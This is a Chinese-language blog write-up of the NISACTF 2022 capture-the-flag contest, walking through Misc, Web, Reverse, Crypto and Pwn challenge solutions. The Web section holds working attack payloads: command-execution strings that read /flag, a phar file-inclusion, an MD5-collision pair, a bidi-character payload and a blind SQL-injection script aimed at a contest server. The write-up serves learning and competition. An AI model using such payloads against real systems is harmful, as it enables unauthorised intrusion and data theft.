NISACTF 2022 Writeup [Winter Camp Final]

Rank: 7

比赛地址:NSSCTF – NISACTF2022公开通道 (ctfer.vip)

赛事说明:NISACTF新生赛为福建师范大学网络与信息安全协会NISA战队面向本校的一次纳新比赛,比赛旨在选拔出有能力且志同道合的师傅加入战队,同时也是对参与首次NICO(NISA&CodeMonster)冬令营新生的成果检测。 本次比赛为个人赛,包括`Web` `Pwn` `Misc` `Reverse` `Crypto` 五个方向,由福建师范大学NISA战队和厦门理工学院CodeMonster战队联合出题。 或是对比赛荣誉的渴望,或是对安全的单纯热爱 NISA战队随时欢迎福建师范大学校内师傅们的加入,期待更多新鲜血液的涌入! CodeMonster战队随时欢迎厦门理工学院校内师傅们的加入,期待更多新鲜血液的涌入!

NISA战队企鹅交流群:245636057

CodeMonster战队企鹅交流群:1167369880

比赛时间:3月25日19:00 – 3月27日19:00

Misc

签到

Skip.

huaji?

下载后加jpg后缀,接着右键打开查看详情,之后hex Decode即可

提交flag后发现不对,查看图片后发现有压缩包字样,提取压缩包后,发现该压缩包需要密码,而密码就是 ctf_NISA_2022

​最终flag

flag{Nls@_FumYEnnOjy}

套娃

题目给了 raw 文件和 array.txt,盲猜取证题

先把array.txt解了,array.txt解出来是一堆数组,Crypto为unicode-base64-base32-hex,很套

得到

32, 24, 6, 28, 15, 31,7, 23, 13, 27, 30, 33,12, 8, 5, 26, 29, 16,34, 22, 2, 14, 9, 17,21, 1, 19, 10, 4, 36,35, 25, 11, 20, 3, 18

接着用 Volatility 分析下镜像文件

vol搜flag无果,搜Desktop发现有个pwd.txt和flower.zip

得知它们的地址后提取出来

pwd.txt - 0x000000001ddb8f20
flower.zip - 0x000000001e5cb070

pwd.txt 解码过程 Base32 -> Base64 得到 Q5R2Ln3nLqUnQaIV

(./0-9A-Za-z=)

解码后得到 pwD_1s_h3re!

​返回flower.zip压缩包,密码就是pwD_1s_h3re!

解压后得到破碎的图片

这里就得结合上边的array.txt文件了

我的猜想是图片的序号对应数组里边的位置

1-32

2-24

然后发现这是个6×6的矩阵图

32, 24,  6, 28, 15, 31
7, 23, 13, 27, 30, 33
12,  8,  5, 26, 29, 16
34, 22,  2, 14,  9, 17
21,  1, 19, 10,  4, 36
35, 25, 11, 20,  3, 18

写脚本处理下得到

from PIL import Image
coor = [
   [32, 24, 6, 28, 15, 31],
   [7, 23, 13, 27, 30, 33],
   [12, 8, 5, 26, 29, 16],
   [34, 22, 2, 14, 9, 17],
   [21, 1, 19, 10, 4, 36],
   [35, 25, 11, 20, 3, 18]
]
# img = Image.open("1.png")
# w,h = img.size
# image = Image.new('RGB', (1000,1000))
for i in range(0,6):
   for j in range(0,6):
      # t = str(coor[i][j]) + ".png"
      # s_image = Image.open(t)
      # tp = (w * j, h * i, w * (j + 1), h * (i + 1))
      # image.paste(s_image, tp)
# image. Show()

接下来把上面的字母横排一下就好

58s4vb6rt4pt5r32yd6ht5u656555r6796524vi69r2yd5om6w0

此处编码

Twin-Hex Cypher Encoder/Decoder

flag{I_am_Guwanneme_servant_Gulf} 

bqt

Ctrl+A全选后发现一行神秘字符 c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd

也就是

 c8 e9 ac a0 c3 f4 e6 e5 f2 a1 a0 d4 e8 e5 a0 e6 ec e1 e7 a0 e9 f3 ba a0 e6 ec e1 e7 fb f7 e5 e6 e5 ef e9 e4 ea e7 ef e5 e4 f3 e6 e9 ef f2 f0 e5 e6 e4 e6 e7 e7 e6 e4 f3 e5 fd

直接转十进制会得到一堆乱码,凭直觉每个字符串依次减掉1位,最终减掉128位恢复正常 String,写个脚本跑下即可出 Flag

import re
a = "c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd"
b = re.findall(r'.{2}', a)
c=[]
str=''
print(b)
for i in b:
   d = int(i, 16) - 128
   e = chr(d)
   c.append(e)
print(c)
print(str.join(c))

NSSCTF{wefeoidjgoedsfiorpefdfggfdse}

where_is_here

又到了👴最喜欢的OSINT🌶,👴正在出你的户籍

题目给出的是一家旅馆的内部

直接丢Google得出具体地址在厦门市,在厦门鼓浪屿的一家宾馆内,结合题目意思,需要找的是旅馆,检索了鼓浪屿100多家旅馆,最后在XX路段找到了一模一样的旅馆内部。

​NSSCTF{厦门市思明区鼓浪屿XX路25号17XXXXXXXXX}

不愉快的地方

这题也是OSINT,👴太开心🌶

题目给了一张图片,直接丢到 Google 识图里,得出地址在韩国首尔清溪川内景,经纬度谷歌map定位一下就好了,但是这点是最麻烦的,有十几种结果,平台上我提交十几次都不对,最后通过一些暴力手段查到了正确的经纬度 37.56,126.97

找人很容易,直接到官网社工就行。。。

NSSCTF{清溪川_37.56,126.97_金贤民_6801}

神秘数字

做这题可以温习大天朝上下四千年历史(雾

题目描述

这里有五行神秘字符,看看它们分别代表什么吧 ovty fgh wnn 0678 3127 2347 0155 5074 MAZY AGD BMY NFA XOBV UCL A MFJI 40227 44801 36780 27620 YPTC QVIO MGBHU JYK 汉字是一种伟大的创造,是史上迄今为止连续使用时间最长的主要文字,也是上古时期各大文字体系中唯一传承至今的文字体系,到了现代,随着时代和信息的发展,人们从中引出了不少变形,他们都在为着汉字的安全性做出了贡献,时至今日,它们可能已经淘汰,但是对我们来说,他们仍有着一些现实意义。请你将得到的一句话转换成md5并包上NISA字符,flag形式为NSSCTF{md5值大写}

先对字符进行分组,大写的一组、小写的一组、混合的一组、纯数字的一组

得到

ovty fgh wnn
0678 3127 2347 0155 5074 
MAZY AGD BMY NFA XOBV UCL A MFJI 
40227 44801 36780 27620 
YPTC QVIO MGBHU JYK

通过一系列查询,发现末尾字母叫做倉頡码,以下是一些说明

​有了代码,直接解码即可最后一行得到

  • YPTC(虚) 
  • QVIO(拟) 
  • MGBHU(现) 
  • JYK(实)

然后通过倉頡码延伸出其它的编码分别是:

四角码、郑码输入、中文电码、五笔86

最后一个个解密即可

  • 五笔86:ovty(数) fgh(十) wnn(亿)
  • 中文电码:0678(合) 3127(法) 2347(操) 0155(作) 5074(者)
  • 郑码输入:MAZY(每) AGD(天) BMY(都) NFA(体) XOBV(验) UCL(着) A(一) MFJI(种) 
  • 四角码:40227(有) 44801(共) 36780(识) 27620(的) 

得到句子

数十亿合法操作者每天都体验着一种有共识的虚拟现实

最后md5加密下即可

NSSCTF{BE29981639FCE3A4B719E4347FED9E43}

为什么我什么都看不见

010打开文件,补上 89 50 得到一张图片

仔细观察,发现有个压缩包黏在里边,binwalk 分离压缩包得到

NSSCTF{Wlec0me_to_NiSa2022}

bilala的二维码

题目给了个二维码,补全定位标后

得到一串链接,访问后下载图片,得到可爱的pikachu

binwalk 分离出三个文件,暂且把它们叫做

a.jpg、b.jpg、c.zip


b.jpg存在JPHS加密,这里通过爆破得到密码,

最后发现JPHS屁用没有,鬼知道官方直接交分辨率+Morse就行了

而c.zip存在一个密码,爆破后得到密码为 NiSA ,打开里边的音频文件后发现是个morse码

Morse表详见:https://www.qsl.net/bg3tt/zl/mesdm.htm

morse解得

PART1:M0RS34ND

刚开始题目啥都没给,最后的提示是分辨率+压缩包密码是战队信息。。(出题人也承认了这是脑洞题)。。可能是我脑子转不过来吧。。=-=

PART2为a.jpg的分辨率

最后FLAG

NSSCTF{MORS34NDN282X231}

流量包里有个熊

下载文件,发现是个流量包,.pcap加上后打开流量包,分析流量。。

发现客户端最后下载了一张图片

直接提取得到 bar.jpg

图片里藏了一个压缩包

分离后得到一堆数

仔细查看,发现一些规律,rot13转成FFD8….,得到

另存为 bear2.jpg

图片为隐藏水印,直接用工具解开得到

NSSCTF{S0_clev2l_You}

破损的flag

usb流量分析题,修改后缀名后打开,发现usb流量

提出键盘流量

得到数据

写脚本还原

# key="0018 000d 000e 0012 0011 000d 000e 0018 0036 0017 0009 0019 0005 000b 001c 000b 000d 000c 0013 0012 000e 0015 0007 0006 0019 000a 0015 0007 0006 0019 000a 0013 0012 000e 0014 001a 0016 001d 0017 0009 0019 0005 000b 0018 000d 000e 0012 001a 0004 001d 001b 0007 0014 0004 0016 0008 001a 0016 0007 0015 0013 0012 000e 001b 0007 0009 0019 000c 000e 000f 0013 0011 000d 000e 001a 0016 0007 0015 0015 0009 000a 001c 0015 0007 0006 0019 000a 0018 000b 0011 0010 000e 0005 000b 000d 0010 001c 000b 000d 000c"
key = "0018 0000 000d 0000 000e 0000 0012 0000 0011 0000 000d 0000 000e 0000 0036 0000 0017 0000 0009 0000 0019 0000 0005 0000 000b 0000 001c 0000 000b 0000 000d 0000 000c 0000 0013 0000 0012 0000 000e 0000 0015 0000 0007 0000 0006 0000 0019 0000 000a 0000 0015 0000 0007 0000 0006 0000 0019 0000 000a 0000 0013 0000 0012 0000 000e 0000 0014 0000 001a 0000 0016 0000 001d 0000 0017 0000 0009 0000 0019 0000 0005 0000 000b 0000 0018 0000 000d 0000 000e 0000 0012 0000 001a 0000 0004 0000 001d 0000 001b 0000 0007 0000 0014 0000 0004 0000 0016 0000 0008 0000 001a 0000 0016 0000 0007 0000 0015 0000 0013 0000 0012 0000 000e 0000 001b 0000 0007 0000 0009 0000 0019 0000 000c 0000 000e 0000 000f 0000 0013 0000 0011 0000 000d 0000 000e 0000 001a 0000 0016 0000 0007 0000 0015 0000 0015 0000 0009 0000 000a 0000 001c 0000 0015 0000 0007 0000 0006 0000 0019 0000 000a 0000 0018 0000 000b 0000 0011 0000 0010 0000 000e 0000 0005 0000 000b 0000 000d 0000 0010 0000 001c 0000 000b 0000 000d 0000 000c 0000"
normalKeys = {
    "04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
    "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
     "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
      "13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
       "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
        "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
         "22":"5", "23":"6","24":"7","25":"8","26":"9",
         "27":"0","28":"","29":"","2a":"", "2b":"\t",
         "2c":"","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","00":"00",
         "32":"","33":";","34":"'","35":"","36":",","37":".",
         "38":"/","39":"","3a":"","3b":"", "3c":"","3d":"",
         "3e":"","3f":"","40":"","41":"","42":"","43":"",
         "44":"","45":""}
shiftKeys = {
    "04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
     "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
      "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
       "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
        "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
         "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
          "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
          "28":"","29":"","2a":"", "2b":"\t","2c":"",
          "2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"","33":"\"",
          "34":":","35":"","36":"<","37":">","38":"?","39":"","3a":"",
          "3b":"", "3c":"","3d":"","3e":"","3f":"","40":"",
          "41":"","42":"","43":"","44":"","45":""}
a = key.split(' ')
flag=""
t=""
for i in range(len(a)):
    t = a[i].lower()
    if(t[:2] == "20"):
        flag += shiftKeys[t[2:]]
    else:
        flag += normalKeys[t[2:]]
print(flag)

得到

UJKONJK,TFVBHYHJIPOKRDCVGRDCVGPOKQWSZTFVBHUJKOWAZXDQASEWSDRPOKXDFVIKLPNJKWSDRRFGYRDCVGUHNMKBHJMYHJI
ujkonjk,tfvbhyhjipokrdcvgrdcvgpokqwsztfvbhujkowazxdqasewsdrpokxdfviklpnjkwsdrrfgyrdcvguhnmkbhjmyhji

然后对上述字母进行分组

得到键盘编码

ujko  njk,  tfvbh  yhji  pok  rdcvg  rdcvg  pok  qwsz  tfvbh  ujko  wazxd  qase  wsdr  pokx  dfv  iklp  njk  wsdr  rfgy  rdcvg  uhnmk  bhjm  yhji

解码

i m g u l f f l a g i s w e l c o m e t f j n u

按格式排好

im gulf flag is welcome t fjnu

NSSCTF{welcome_to_fjnu}

Web

破损的flag

​题目给了一堆U+202EU+2066,这里边会把字符逆转

也就是如果我们提交 ryu1nser 会转成 resn1uyr,和后边的 pwn 签到题有异曲同工之妙

exp

http://114.5.1.4:19198/?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46

出自:CVE-2021-42574(https://nvd.nist.gov/vuln/detail/CVE-2021-42574

level-up

第二关在 robots.txt

第二关需要进行md5碰撞

这里简单生成payload撞一下即可

array1=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00b%87%24%8E%A1%E8H%B3y%BF%93%B8U%D2%F0e%1Bih%D3%5CD%2A%0B%FF%21%83%FA%AF-4%CF4%9B%F1%EF%5D%0D%3D%C1%EBE%3A%3B%E8U%7C%3Dm%89%DB%11%B7%BFkr%84.%01h%C0%C3%96%DFr%A5%CF%B4%08%F9%8D%E6a3%22%05%A5%C8%8Be%0F2%A7%96F%0CC%DB%1E%C5%B7f%D0%E6t%EE%E9n%B6G%2A%9B9%A8%FAK%B9i%82%94%E1%FC%F3%A0%5D%B3%7F%C2%23I%FE%9F%C9d%84%B2%F1%03&array2=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00b%87%24%8E%A1%E8H%B3y%BF%93%B8U%D2%F0e%1BihS%5CD%2A%0B%FF%21%83%FA%AF-4%CF4%9B%F1%EF%5D%0D%3D%C1%EBE%3A%3B%E8%D5%7C%3Dm%89%DB%11%B7%BFkr%84.%01%E8%C0%C3%96%DFr%A5%CF%B4%08%F9%8D%E6a3%22%05%A5%C8%8Be%0F2%A7%16F%0CC%DB%1E%C5%B7f%D0%E6t%EE%E9n%B6G%2A%9B9%A8%FAK%B9i%82%14%E1%FC%F3%A0%5D%B3%7F%C2%23I%FE%9F%C9%E4%84%B2%F1%03

 

第三关

SHA1碰撞,使用提供的样本,撞一下即可

第四关php特性,直接 _ ->(空格)绕过就能拿到flag了

第五关

忘了,反正要命令执行

记得好像是

a=\@eval&b=2;}system('ls /') 
a=\@eval&b=2;}system('cat /flag');//

bingdundun~

环境问题。。。第一天没做出来,这题就是 文件上传+文件包含 没啥好说的算了,蛮写一下吧

?bingdundun=phar://xxx.zip/hack

babyupload

​右键打开发现 /source,审计源码发现,setup() 函数会加载一个数据库然后在启动后删除它

往下看,会发现一个上传函数,这题会把上传后的文件被保存在 uploads/ 目录中,然后把链接重定向到/file/+uid中。

为此我们只需要上传 /flag/flag 即可

这题是原题,题目来源:RaRCTF 2021

easyssrf

一道简单的ssrf,首先文件包含,包含后提示看看 ha1x1ux1u.php

进来后发现还是文件包含,包含一下就好了

is secret

带参访问 /secret

​根据报错信息得知是编码错误,查看app.py发现加密方法为rc4

只需要写个脚本将Payload加密成rc4发送即可

hardsql

题目给出了hint

$password=$_POST['passwd']; $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";

一道注入题目

注入点为密码框,构造语句

||#

好了开始注入吧

写个小脚本跑一下即可

from wsgiref import headers
from itsdangerous import json
import requests
url = 'http://124.221.24.137:28026/login.php'
flag = ''
proxies = {
    "http": None,
    "https": None
}
# 
#'UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#',CHAR(34),CHAR(39)),CHAR(63),'"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#')/**/AS/**/a#
#'UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#',CHAR(34),CHAR(39)),CHAR(63),'"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#')/**/AS/**/a#

burp0_url = "http://124.221.24.137:28026/login.php"
burp0_headers = {"Cache-Control": "max-age=0",  "Origin": "http://124.221.24.137:28026", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://124.221.24.137:28026/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
# requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
s = requests.Session()
# 1'or/**/ascii(mid(user(),1,1))/**/LIKE/**/114/**/%23
# 1'/**/union/**/select/**/1,(select/**/ascii(mid((select/**/user()),{},1))/**/LIKE/**/{})
# 1'/**/union/**/(select/**/ascii(mid((select/**/passwd/**/from/**/users/**/LIMIT/**/0,1),1,1))/**/LIKE/**/123)/**/%23
# 1'/**/union/**/select/**/(select/**/*/**/from/**/users/**/where/**/passwd/**/like/**/'b2f2d15b3ae082ca29697d8dcd420fd7')/**/%23
# select/**/GREATEST(ascii(substr((select/**/passwd/**/from/**/users/**/limit/**/0,1),1,1)),116)/**/LIKE/**/116
# User: 1'or/**/ascii(mid(user(),{},1))/**/LIKE/**/{}/**/%23
# Tables: 1'or/**/ascii(mid((select/**/passwd/**/from/**/users/**/limit/**/0,1),1,1))/**/LIKE/**/1/**/%23
# Done: 1'or/**/select/**/passwd/**/from/**/users/**/where/**/passwd/**/LIKE/**/b2f2d15b3ae082ca29697d8dcd420fd7/**/%23
def attack(i,j):
    # payload = "1'/**/union/**/(select/**/ascii(mid((select/**/passwd/**/from/**/users/**/LIMIT/**/0,1),{},1))/**/LIKE/**/{})/**/%23".format(i,j)
    # payload = "1'/**/union/**/(select/**/ascii(mid((select/**/*/**/from/**/users/**/where/**/passwd/**/LIKE/**/'b2f2d15b3ae082ca29697d8dcd420fd7'),1,1))/**/LIKE/**/123)/**/%23".format(i,j)
    # payload = '1\'or/**/ascii(mid((select/**/passwd/**/from/**/users/**/limit/**/1,1),'+str(i)+',1))/**/LIKE/**/'+str(j)+'/**/%23'
    # 'b2f2d15b3ae082ca29697d8dcd420fd7'
    payload = "1'or/**/ascii(mid((select/**/passwd/**/from/**/users/**/limit/**/0,1),"+str(i)+",1))/**/LIKE/**/"+str(j)+"/**/#"
    # 1'/**/union/**/select/**/(select/**/ascii(mid(user(),1,1))/**/LIKE/**/135)/**/%23
    # print(payload)
    burp0_data = {
        "username": "bilala", 
        "passwd": "{}".format(payload),
        "login": "\xe7\x99\xbb\xe5\xbd\x95"
    }
    t = str(j)
    r = s.post(burp0_url, headers=burp0_headers, data=burp0_data)
    # print(payload,j,r.text)
    # if "alert('wrong password');" in r.text:
    if "wrong password" in str(r.content):
        # print(t,'\n',r.text)
        return True
    else:
        return False
for i in range(1,100):
    for j in range(1,255):
        if attack(i,j):
            print(chr(j))
# for i in range(1, 100):
#     # 二分查找法
#     low = 1 
#     high = 255
#     while (low <= high):
#         mid = (low + high)//2
#         if (attack(i, mid)):
#             low = mid + 1
#         else:
#             high = mid - 1
#     flag += chr((low+high+1)//2)
#     print(flag)

​跑出来的表为txw4ever

用户为bilala

密码为b2f2d15b3ae082ca29697d8dcd420fd7

输入密码后会显示源代码,发现这还没完

一番搜索后,发现需要Quine注入,具体输入的SQL语句和输出的SQL语句一致的技术主要使用REPLACE进行逐个替换,这里试了很多种

最先开始使用char发现被过滤了,后来使用ord,再后来就用0x方法了

join_us

报错注入。。这里就不写了,没啥知识点

midlevel

考点就是Smarty的保留变量:https://www.smarty.net/docs/zh_CN/language.variables.smarty.tpl#language.variables.smarty.version

最后的payload

Binary

ReorPwn?

​galf/ tac

NSSCTF{d26000e9-17f2-4a0d-a970-a6c3d3033ee9}

Reverse

ezpython

文件分析后,得知该程序是由pyinstaller编译而成,为此我们反编译一下看一下源代码(出题人用的环境可能是Python3.4)

换到 Python3.4 后

继续反编译

得到脚本

仔细看有个 decrypt2 函数,调用这个解密一下就好了

得到

this is true key

string

IDA分析后发现有个flag函数

往下看发现有个主要程序,整个程序大致就是下面这个部分最重要了

这里有个小tip,出题人是在Linux上跑的,跑出来的种子跟win是不一样的,初始化种子为10086

写个脚本跑一下,跑出来的值就是flag

sign-ezc++

搜索函数得到 flag,简单异或

点开数据区

exp

#include
#include
int main(){
    int a[100] = {0x44,0x49,0x5E,0x4C,0x71,0x7E,0x62,0x63,0x79,0x55,0x63,0x79,0x55,0x44,0x43,0x59,0x4B,0x55,0x78,0x6F,0x55,0x79,0x63,0x6D,0x64,0x77,0x14};
    for (int i = 0; i < 100; ++i ){
        a[i] ^= 0xAu;
    }
    for (int i = 0; i < 100; ++i ){
        printf("%c", a[i]);
    }
}

​0xAu='\n'

 

得到flag

NSSCTF{this_is_NISA_re_sign}

鸣神的国土

题目为一个汇编文件,编译一下,strings 打开后发现一串类似base64的东西

直接ROT13转一下

q3q3YzWc
oTyvnJkc
YzAioF92
nJEyol9P
IwSeLwE5
ZJ03MGp=

 

转好后得到

d3d3LmJp
bGliaWxp
LmNvbS92
aWRlby9C
VjFrYjR5
MW03ZTc=

最后base64解码得到

NSSCTF{www.bilibili.com/video/BV1kb4y1m7e7}

Crypto

sign_crypto

发现是LATEX,简单还原后得到

\ni\Sigma\Sigma\chi\Theta\forall
\left\{
\eta \diamond \infty \tau \_\widehat{n i s a}\int \triangle \hookleftarrow\_ \Lambda \aleph \tau \ell \Xi
\right\}

NSSCTF{EDIT_WITH_LATEX}

funnycaeser

变种凯撒

NRQ;P<uLliW^(XQ/QT\NDh

观察规律

发现是一位一位递增

但如果真这样做会出现下列结果

会变得很奇怪,最后发现如果是符号的地方则需要+5,​也就是

;(分号)+5得到8,N(ord)- ;(ord)得到8

综上所述凡是有符号的地方都需要+5

重写脚本得到

NSSCTF{Strai4e->aenaX}

normal

题目打开得到

ook!解码后得到一堆unicode

继续解码得到base64

最后一种解码是BubbleBabble

然后再ROT13

最终flag

NSSCTF{u_kn0w_wH@t_!_thinK}

文章《NISACTF 2022 Writeup [Winter Camp Final]》采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: www.bilibili.com
Source: ななひら
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
嘉然
ななひら
小恐龙
花!
上一篇
下一篇